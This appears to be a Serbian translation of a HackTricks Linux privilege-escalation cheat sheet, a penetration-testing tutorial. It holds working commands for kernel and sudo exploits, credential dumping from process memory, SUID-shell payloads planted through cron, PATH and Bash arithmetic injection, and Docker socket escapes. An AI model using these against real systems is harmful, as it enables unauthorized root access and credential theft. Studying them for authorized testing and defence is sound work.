Linux Privilege Escalation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Informacije o sistemu

Informacije o OS-u

Počnimo sa prikupljanjem informacija o pokrenutom operativnom sistemu

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Ako imate dozvole za pisanje u bilo koji direktorijum unutar varijable PATH, možda ćete moći da preotmete neke biblioteke ili binarne fajlove:

echo $PATH

Env info

Postoje li zanimljive informacije, passwords ili API keys u environment variables?

(env || set) 2>/dev/null

Kernel exploits

Proverite kernel version i da li postoji exploit koji se može iskoristiti za escalate privileges.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Možete pronaći dobar spisak ranjivih verzija kernela i neke već compiled exploits ovde: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Drugi sajtovi gde možete naći neke compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Da biste izvukli sve ranjive verzije kernela sa tog sajta možete uraditi:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Alati koji mogu pomoći pri pretraživanju kernel exploits su:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

Uvek pretraži verziju kernela na Google-u, možda je tvoja verzija kernela pomenuta u nekom kernel exploit-u i tada ćeš biti siguran da je taj exploit validan.

Dodatne tehnike za kernel exploitation:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo verzija

Na osnovu ranjivih sudo verzija koje se pojavljuju u:

searchsploit sudo

Možete proveriti da li je verzija sudo ranjiva koristeći ovaj grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo verzije pre 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) omogućavaju neprivilegovanim lokalnim korisnicima da eskaliraju svoje privilegije do root-a putem sudo --chroot opcije kada se datoteka /etc/nsswitch.conf koristi iz direktorijuma koji kontroliše korisnik.

Evo PoC za iskorišćavanje te vulnerability. Pre pokretanja exploita, uverite se da je vaša sudo verzija ranjiva i da podržava chroot funkciju.

Za više informacija, pogledajte originalni vulnerability advisory

sudo < v1.8.28

Od @sickrov

sudo -u#-1 /bin/bash

Dmesg verifikacija potpisa nije uspela

Proverite smasher2 box of HTB za primer kako bi se ovaj vuln mogao iskoristiti

dmesg 2>/dev/null | grep "signature"

Više enumeracije sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Nabrojte moguće odbrane

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Ako se nalazite unutar docker container-a, možete pokušati da iz njega pobegnete:

Docker Security

Diskovi

Proverite what is mounted and unmounted, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite ima li privatnih informacija.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Korisni softver

Nabrojte korisne binarne fajlove

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Takođe, proverite da li je instaliran bilo koji compiler. Ovo je korisno ako trebate da koristite neki kernel exploit, jer se preporučuje da ga compile-ujete na mašini na kojoj ćete ga koristiti (ili na nekoj sličnoj).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Instaliran ranjiv softver

Proverite verziju instaliranih paketa i servisa. Možda postoji neka stara verzija Nagiosa (for example) that could be exploited for escalating privileges…
Preporučuje se ručno proveriti verzije sumnjivijih instaliranih softvera.

dpkg -l #Debian
rpm -qa #Centos

Ako imate SSH pristup mašini, možete takođe koristiti openVAS da proverite da li je instalirani softver zastareo ili ranjiv.

[!NOTE] > Imajte na umu da će ove komande prikazati mnogo informacija koje će uglavnom biti beskorisne, stoga se preporučuju alati kao što su OpenVAS ili slični koji će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits

Processes

Pogledajte koji procesi se izvršavaju i proverite da li neki proces ima više privilegija nego što bi trebalo (možda tomcat koji se pokreće kao root?)

ps aux
ps -ef
top -n 1

Uvek proveri da li postoje electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detektuje to proverom --inspect parametra u komandnoj liniji procesa.\ Takođe check your privileges over the processes binaries, možda možeš overwrite-ovati nekoga.

Praćenje procesa

Možeš koristiti alate kao što je pspy za praćenje procesa. Ovo može biti veoma korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi.

Memorija procesa

Neki servisi na serveru čuvaju credentials in clear text inside the memory.
Obično će ti trebati root privileges da pročitaš memoriju procesa koji pripadaju drugim korisnicima, zato je ovo obično korisnije kada si već root i želiš da otkriješ više credentials.
Ipak, zapamti da as a regular user you can read the memory of the processes you own.

Warning

Imaj na umu da većina mašina danas ne dozvoljava ptrace podrazumevano, što znači da ne možeš dump-ovati druge procese koji pripadaju tvom neprivilegovanom korisniku.

Fajl /proc/sys/kernel/yama/ptrace_scope kontroliše pristup ptrace-u:

  • kernel.yama.ptrace_scope = 0: svi procesi mogu biti debug-ovani, sve dok imaju isti uid. Ovo je klasičan način na koji je ptracing radio.
  • kernel.yama.ptrace_scope = 1: samo roditeljski proces može biti debug-ovan.
  • kernel.yama.ptrace_scope = 2: samo admin može koristiti ptrace, jer je potrebna CAP_SYS_PTRACE capability.
  • kernel.yama.ptrace_scope = 3: nijedan proces ne može biti traced pomoću ptrace. Kada se postavi, potreban je reboot da bi se ptracing ponovo omogućio.

GDB

Ako imaš pristup memoriji FTP servisa (na primer) možeš dobiti Heap i pretražiti u njemu njegove credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB skripta

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Za dati PID, maps prikazuju kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa; takođe prikazuju i dozvole svake mapirane regije. Pseudo fajl mem otkriva samu memoriju procesa. Iz maps fajla znamo koje memorijske regije su čitljive i njihove offsete. Koristimo ove informacije da se pozicioniramo u fajlu mem i izdvojimo sve čitljive regione u fajl.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem obezbeđuje pristup sistemskoj fizičkoj memoriji, ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti koristeći /dev/kmem.
Tipično, /dev/mem je čitljiv samo od strane root i grupe kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump za linux

ProcDump je reinterpretacija klasičnog ProcDump alata iz Sysinternals paketa za Windows, prilagođena za Linux. Nabavite ga na https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Alati

Za dump memorije procesa možete koristiti:

Kredencijali iz memorije procesa

Ručni primer

Ako otkrijete da proces authenticator radi:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Možete dump-ovati proces (see before sections to find different ways to dump the memory of a process) i pretražiti credentials unutar memorije:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Alat https://github.com/huntergregal/mimipenguin će ukrasti kredencijale u čistom tekstu iz memorije i iz nekih poznatih fajlova. Zahteva root privilegije da bi ispravno radio.

FeatureProcess Name
GDM lozinka (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (aktivne FTP konekcije)vsftpd
Apache2 (aktivne HTTP Basic Auth sesije)apache2
OpenSSH (aktivne SSH sesije - korišćenje sudo)sshd:

Pretraga regex-a/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Zakazani/Cron poslovi

Crontab UI (alseambusher) radi kao root – web-based scheduler privesc

Ako web “Crontab UI” panel (alseambusher/crontab-ui) radi kao root i vezan je samo za loopback, i dalje mu možete pristupiti preko SSH local port-forwardinga i kreirati privilegovan zadatak da eskalirate privilegije.

Tipičan lanac

  • Otkriti port dostupan samo na loopback-u (npr. 127.0.0.1:8000) i Basic-Auth realm pomoću ss -ntlp / curl -v localhost:8000
  • Pronaći kredencijale u operativnim artefaktima:
    • Backupi/skripte sa zip -P <password>
    • systemd unit koji izlaže Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Tuneluj i prijavi se:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Kreirajte high-priv job i pokrenite odmah (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Koristite ga:
/tmp/rootshell -p   # root shell

Ojačavanje

  • Ne pokrećite Crontab UI kao root; ograničite ga na poseban korisnički nalog sa minimalnim privilegijama
  • Povežite na localhost i dodatno ograničite pristup putem firewall/VPN; ne koristite iste lozinke
  • Izbegavajte ugrađivanje secrets u unit files; koristite secret stores ili root-only EnvironmentFile
  • Omogućite audit/logging za on-demand izvršavanja job-ova

Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti script koji se izvršava kao root (wildcard vuln? možete li modifikovati fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron PATH

Na primer, unutar /etc/crontab možete наћи PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Napomena kako korisnik “user” има права pisanja над /home/user)

Ako u ovom crontabu root pokušava da izvrši neku komandu ili skript bez podešavanja PATH-a. На пример: * * * * root overwrite.sh
Tada možete dobiti root shell koristeći:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron koji koristi skriptu sa wildcard (Wildcard Injection)

Ako skripta koju izvršava root sadrži “*” u komandi, možete to iskoristiti da izazovete neočekivane stvari (npr. privesc). Primer:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Ako se wildcard nalazi iza puta kao /some/path/* , nije ranjiv (čak ni ./* nije).

Pročitajte sledeću stranicu za više trikova iskorišćavanja wildcard-a:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash izvršava parameter expansion i command substitution pre arithmetic evaluation u ((…)), $((…)) i let. Ako root cron/parser pročita nepoverljiva polja iz loga i ubaci ih u arithmetic context, napadač može inject-ovati command substitution $(…) koji se izvršava kao root kada cron pokrene.

  • Zašto to radi: U Bash-u se ekspanzije dešavaju u sledećem redosledu: parameter/variable expansion, command substitution, arithmetic expansion, pa onda word splitting i pathname expansion. Dakle vrednost kao $(/bin/bash -c 'id > /tmp/pwn')0 se prvo zameni (izvršavajući komandu), a preostali numerički 0 se koristi za arithmetic tako da skripta nastavlja bez grešaka.

  • Tipičan ranjiv obrazac:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Eksploatacija: Naterajte da tekst pod kontrolom napadača bude upisan u parsovani log tako da polje koje izgleda kao broj sadrži command substitution i završava cifrom. Uverite se da vaša komanda ne piše na stdout (ili je preusmerite) kako bi arithmetic ostao validan.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Ako script koji se izvršava kao root koristi directory u kojem imate full access, možda bi bilo korisno obrisati taj folder i napraviti symlink folder prema drugom koji sadrži script pod vašom kontrolom.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Custom-signed cron binaries with writable payloads

Blue teams ponekad “sign” cron-driven binarne fajlove tako što dump-uju custom ELF sekciju i rade grep za vendor string pre nego što ih izvrše kao root. Ako je taj binary group-writable (npr. /opt/AV/periodic-checks/monitor owned by root:devs 770) i možete leak-ovati signing material, možete forge-ovati sekciju i hijack-ovati cron task:

  1. Use pspy to capture the verification flow. In Era, root ran objcopy --dump-section .text_sig=text_sig_section.bin monitor followed by grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin and then executed the file.
  2. Rekreirajte očekivani certificate koristeći the leaked key/config (from signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Build a malicious replacement (e.g., drop a SUID bash, add your SSH key) and embed the certificate into .text_sig so the grep passes:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Overwrite the scheduled binary while preserving execute bits:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Wait for the next cron run; once the naive signature check succeeds, your payload runs as root.

Frequent cron jobs

Možete monitorisati procese da tražite one koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti i eskalirati privilegije.

For example, to monitor every 0.1s during 1 minute, sort by less executed commands and delete the commands that have been executed the most, you can do:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Takođe možete koristiti pspy (ovo će nadgledati i izlistati svaki proces koji se pokrene).

Nevidljivi cronjobovi

Moguće je kreirati cronjob stavljanjem carriage return-a posle komentara (bez newline character), i cronjob će raditi. Primer (obratite pažnju na carriage return char):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Servisi

Zapisivi .service fajlovi

Proverite da li možete da upišete bilo koji .service fajl, ako možete, možete ga izmeniti tako da pokreće vaš backdoor kada se servis pokrene, restartuje ili zaustavi (možda ćete morati da sačekate da se mašina restartuje).
Na primer kreirajte vaš backdoor unutar .service fajla sa ExecStart=/tmp/script.sh

Zapisivi service binarni fajlovi

Imajte na umu da ako imate pravo pisanja nad binarnim fajlovima koje izvršavaju servisi, možete ih zameniti backdoor-ovima tako da kada se servisi ponovo izvrše backdoor-ovi budu pokrenuti.

systemd PATH - Relativne putanje

Možete videti PATH koji koristi systemd pomoću:

systemctl show-environment

Ako otkrijete da možete write u bilo kojem direktorijumu na putanji, možda ćete moći da escalate privileges. Treba da tražite relative paths being used on service configurations datoteka kao što su:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Zatim, napravite izvršni fajl sa istim imenom kao binarni fajl na relativnom putu unutar systemd PATH direktorijuma u koji možete pisati, i kada se servisu zatraži da izvrši ranjivu radnju (Start, Stop, Reload), vaš backdoor će biti izvršen (neprivilegovani korisnici obično ne mogu start/stop servise, ali proverite da li možete da koristite sudo -l).

Više o servisima pročitajte u man systemd.service.

Tajmeri

Tajmeri su systemd unit fajlovi čije ime se završava na **.timer** koji kontrolišu **.service** fajlove ili događaje. Tajmeri se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje po kalendarskom vremenu i za monotoničke vremenske događaje i mogu se pokretati asinhrono.

Možete izlistati sve tajmere pomoću:

systemctl list-timers --all

Tajmeri koji se mogu menjati

Ako možete izmeniti tajmer, možete ga naterati da izvrši neku od postojećih systemd.unit jedinica (poput .service ili .target)

Unit=backdoor.service

U dokumentaciji možete pročitati šta je Unit:

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not “.timer”. If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

Dakle, da biste zloupotrebili ovo dopuštenje, trebalo bi da:

  • Pronađete neki systemd unit (npr. .service) koji izvršava binarni fajl nad kojim imate pravo pisanja
  • Pronađete neki systemd unit koji izvršava relativnu putanju i imate pravo pisanja nad systemd PATH (da imitirate taj izvršni fajl)

Saznajte više o timerima sa man systemd.timer.

Omogućavanje timera

Da biste omogućili timer, potrebne su vam root privileges i da izvršite:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Obratite pažnju da se timer aktivira kreiranjem simboličkog linka ka njemu u /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Soketi

Unix Domain Sockets (UDS) omogućavaju komunikaciju procesa na istim ili različitim mašinama u okviru client-server modela. Oni koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i konfigurišu se preko .socket fajlova.

Soketi se mogu konfigurisati korišćenjem .socket fajlova.

Saznajte više o socket-ima pomoću man systemd.socket. U tom fajlu može se konfigurisati nekoliko interesantnih parametara:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Ove opcije se razlikuju, ali ukratko se koriste da naznače gde će socket slušati (putanja AF_UNIX socket fajla, IPv4/6 i/ili broj porta koji će se slušati, itd.)
  • Accept: Prima boolean argument. Ako je true, za svaku dolaznu konekciju se pokreće instanca servisa i samo konekcioni socket joj se prosleđuje. Ako je false, svi listening socket-i se sami prosleđuju pokrenutom service unit-u, i samo jedna service unit se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram socket-e i FIFO-e gde jedna service unit bezuslovno obrađuje sav dolazni saobraćaj. Po defaultu je false. Iz razloga performansi, preporučuje se pisanje novih daemona na način pogodan za Accept=no.
  • ExecStartPre, ExecStartPost: Prima jedan ili više komandnih redova, koji se izvršavaju pre ili posle nego što su listening socket-i/FIFO-i kreirani i povezani, redom. Prvi token komandne linije mora biti apsolutno ime fajla, nakon čega slede argumenti za proces.
  • ExecStopPre, ExecStopPost: Dodatne komande koje se izvršavaju pre ili posle nego što su listening socket-i/FIFO-i zatvoreni i uklonjeni, redom.
  • Service: Specifikuje ime service unit-a koje će se aktivirati na dolazni saobraćaj. Ova opcija je dozvoljena samo za sokete sa Accept=no. Po defaultu koristi servis koji ima isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva nije neophodno koristiti ovu opciju.

Upisivi .socket fajlovi

Ako pronađete upisiv .socket fajl, možete dodati na početak [Socket] sekcije nešto poput: ExecStartPre=/home/kali/sys/backdoor i backdoor će biti izvršen pre nego što se socket kreira. Zbog toga ćete se verovatno morati sačekati da se mašina restartuje.\ Napomena: sistem mora koristiti tu konfiguraciju socket fajla, inače backdoor neće biti izvršen

Upisivi soketi

Ako identifikujete bilo koji upisiv socket (sada govorimo o Unix soketima i ne o konfig .socket fajlovima), tada možete komunicirati sa tim socket-om i možda iskoristiti ranjivost.

Enumeracija Unix soketa

netstat -a -p --unix

Sirova veza

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Primer iskorišćavanja:

Socket Command Injection

HTTP sockets

Obratite pažnju da može postojati nekoliko sockets listening for HTTP requests (ne mislim na .socket files već na fajlove koji funkcionišu kao unix sockets). Možete to proveriti sa:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Ako socket odgovori na HTTP zahtev, onda možete komunicirati sa njim i možda iskoristiti neku ranjivost.

Upisivi Docker socket

Docker socket, često se nalazi na /var/run/docker.sock, je kritičan fajl koji treba zaštititi. Po defaultu, upisiv je od strane korisnika root i članova docker grupe. Imati pravo upisa na ovaj socket može dovesti do privilege escalation. Evo pregleda kako se to može izvesti i alternativnih metoda ako Docker CLI nije dostupan.

Privilege Escalation with Docker CLI

Ako imate pravo upisa na Docker socket, možete escalate privileges koristeći sledeće komande:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Ove komande vam omogućavaju da pokrenete container sa root pristupom fajl-sistemu hosta.

Direktno korišćenje Docker API

U situacijama kada Docker CLI nije dostupan, docker socket se i dalje može manipulisati pomoću Docker API i curl komandi.

  1. List Docker Images: Preuzmite listu dostupnih images.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Pošaljite zahtev za kreiranje containera koji mount-uje root direktorijum host sistema.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Pokrenite novokreirani container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: Koristite socat da uspostavite konekciju ka socket-u, omogućavajući izvršavanje komandi unutar containera.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nakon uspostavljanja socat konekcije, možete izvršavati komande direktno u containeru sa root pristupom fajl-sistemu hosta.

Ostalo

Imajte na umu da ako imate dozvole za pisanje nad docker socket-om zato što ste u grupi docker imate više načina za eskalaciju privilegija. Ako je docker API dostupan na portu možete ga takođe kompromitovati.

Pogledajte više načina da se izađe iz docker-a ili da se zloupotrebi radi eskalacije privilegija u:

Docker Security

Containerd (ctr) eskalacija privilegija

Ako otkrijete da možete koristiti ctr komandu, pročitajte sledeću stranicu jer je moguće da je možete zloupotrebiti za eskalaciju privilegija:

Containerd (ctr) Privilege Escalation

RunC eskalacija privilegija

Ako otkrijete da možete koristiti runc komandu, pročitajte sledeću stranicu jer je moguće da je možete zloupotrebiti za eskalaciju privilegija:

RunC Privilege Escalation

D-Bus

D-Bus je sofisticiran sistem za međuprocesnu komunikaciju (inter-Process Communication, IPC) koji omogućava aplikacijama da efikasno komuniciraju i razmenjuju podatke. Dizajniran za moderne Linux sisteme, on pruža robustan okvir za različite oblike komunikacije između aplikacija.

Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na enhanced UNIX domain sockets. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolazećem pozivu može naterati plejer da utiša zvuk, poboljšavajući korisničko iskustvo. Takođe, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve servisa i pozive metoda između aplikacija, čime se pojednostavljuju procesi koji su nekada bili složeni.

D-Bus radi po modelu allow/deny, upravljajući dozvolama poruka (pozivima metoda, emitovanjem signala, itd.) zasnovano na kumulativnom efektu odgovarajućih policy pravila. Ove politike specificiraju interakcije sa bus-om, i potencijalno dopuštaju eskalaciju privilegija iskorišćavanjem ovih dozvola.

Primer takve politike u /etc/dbus-1/system.d/wpa_supplicant.conf je dat, gde su detaljno navedene dozvole za root korisnika da poseduje, šalje i prima poruke od fi.w1.wpa_supplicant1.

Politike bez navedenog korisnika ili grupe važe univerzalno, dok “default” kontekstne politike važe za sve koji nisu pokriveni drugim specifičnim politikama.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Saznajte kako da enumerate i exploit D-Bus communication ovde:

D-Bus Enumeration & Command Injection Privilege Escalation

Mreža

Uvek je zanimljivo da enumerate mrežu i utvrdite poziciju mašine.

Opšta enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Otvoreni portovi

Uvek proverite mrežne servise koji rade na mašini sa kojom niste mogli da stupite u interakciju pre nego što ste joj pristupili:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Proverite da li možete da sniff traffic. Ako možete, mogli biste da dobijete neke credentials.

timeout 1 tcpdump

Korisnici

Opšta enumeracija

Proverite ko ste, koje privilegije imate, koji korisnici su u sistemu, koji mogu da login i koji imaju root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Neke verzije Linuxa bile su pogođene bagom koji omogućava korisnicima sa UID > INT_MAX da eskaliraju privilegije. Više informacija: here, here and here.
